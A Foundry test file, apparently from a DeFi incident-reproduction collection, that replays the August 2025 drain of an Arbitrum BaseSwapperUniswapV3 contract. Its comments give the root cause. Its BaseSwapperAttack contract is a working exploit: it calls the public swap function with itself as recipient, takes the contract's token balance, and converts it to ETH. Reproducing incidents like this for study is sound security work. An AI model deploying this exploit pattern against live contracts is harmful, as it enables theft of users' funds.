src/test/2025-08/ArbitrumBaseSwapper_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1,847.33 USD
8// Attacker : 0x38ae75EAD48102e2431aC8Cea164ed28637388a3
9// Attack Contract : 0x3B7Ef30aa1BA72800742C3AEA1EFcC7F96aF81e0
10// Vulnerable Contract : 0xB5EFF2A863C9B42D823919368A467F26A2648559
11// Attack Tx : https://arbiscan.io/tx/0xd4fad993e3dfd37e406be0d5225986a2605ba509d893dafc0c77e0be29ab535d
12//
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0xB5EFF2A863C9B42D823919368A467F26A2648559#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1638
18//
19// Attack summary: BaseSwapperUniswapV3 exposed swapTokensForExactTokens() publicly. The attacker supplied itself as
20// recipient and caused the swapper to spend its own deflationary token balance for a tiny USDC exact-output swap. After
21// the router used only part of the maximum input, the swapper transferred its remaining token1 balance to the attacker,
22// who swapped the drained tokens to WETH and withdrew ETH.
23// Root cause: arbitrary public access to a balance-owning swap function plus refunding the contract's full remaining
24// token1 balance to a caller-controlled recipient.
25 
26address constant ATTACKER = 0x38aE75eAd48102e2431Ac8CEa164ED28637388a3;
27address constant ATTACK_CONTRACT = 0x3b7ef30Aa1ba72800742C3AeA1EfCC7F96aF81e0;
28address constant BASE_SWAPPER = 0xB5EFf2A863c9B42d823919368a467f26A2648559;
29address constant VICTIM_TOKEN = 0x21E60EE73F17AC0A411ae5D690f908c3ED66Fe12;
30address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
31address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
32address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
33 
34uint256 constant MAX_VICTIM_TOKEN_IN = 472_997_613_026_749_247_557_538;
35uint256 constant EXACT_USDC_OUT = 100;
36uint24 constant TOKEN_WETH_POOL_FEE = 3000;
37 
38interface IBaseSwapperUniswapV3 {
39    function swapTokensForExactTokens(
40        address recipient,
41        address token1,
42        address token2,
43        uint256 amount1,
44        uint256 amount2
45    ) external payable returns (uint256 result1, uint256 result2);
46}
47 
48contract ContractTest is BaseTestWithBalanceLog {
49    BaseSwapperAttack private exploit;
50 
51    function setUp() public {
52        uint256 forkBlock = 366_279_193;
53        vm.createSelectFork("arbitrum", forkBlock);
54        vm.label(ATTACKER, "Attacker");
55        vm.label(ATTACK_CONTRACT, "Attack Contract");
56        vm.label(BASE_SWAPPER, "BaseSwapperUniswapV3");
57        vm.label(VICTIM_TOKEN, "Victim Token");
58        vm.label(USDC_TOKEN, "USDC");
59        vm.label(WETH_TOKEN, "WETH");
60        vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");
61 
62        exploit = new BaseSwapperAttack();
63        fundingToken = address(0);
64        attacker = address(exploit);
65    }
66 
67    function testExploit() public balanceLog {
68        uint256 victimTokenBefore = IERC20(VICTIM_TOKEN).balanceOf(BASE_SWAPPER);
69 
70        exploit.run();
71 
72        uint256 ethProfit = address(exploit).balance;
73        assertGt(ethProfit, 0.048 ether, "ETH profit");
74        assertEq(IERC20(VICTIM_TOKEN).balanceOf(BASE_SWAPPER), 0, "swapper token balance drained");
75        assertEq(victimTokenBefore, MAX_VICTIM_TOKEN_IN, "fork victim token balance");
76    }
77}
78 
79contract BaseSwapperAttack {
80    function run() external {
81        IBaseSwapperUniswapV3(BASE_SWAPPER).swapTokensForExactTokens(
82            address(this), VICTIM_TOKEN, USDC_TOKEN, MAX_VICTIM_TOKEN_IN, EXACT_USDC_OUT
83        );
84 
85        uint256 drainedAmount = IERC20(VICTIM_TOKEN).balanceOf(address(this));
86        require(drainedAmount > 0, "no token drain");
87 
88        IERC20(VICTIM_TOKEN).approve(UNISWAP_V3_ROUTER, drainedAmount);
89        uint256 wethOut = Uni_Router_V3(UNISWAP_V3_ROUTER).exactInputSingle(
90            Uni_Router_V3.ExactInputSingleParams({
91                tokenIn: VICTIM_TOKEN,
92                tokenOut: WETH_TOKEN,
93                fee: TOKEN_WETH_POOL_FEE,
94                recipient: address(this),
95                deadline: block.timestamp + 15,
96                amountIn: drainedAmount,
97                amountOutMinimum: 0,
98                sqrtPriceLimitX96: 0
99            })
100        );
101 
102        IWETH(payable(WETH_TOKEN)).withdraw(wethOut);
103    }
104 
105    receive() external payable {}
106}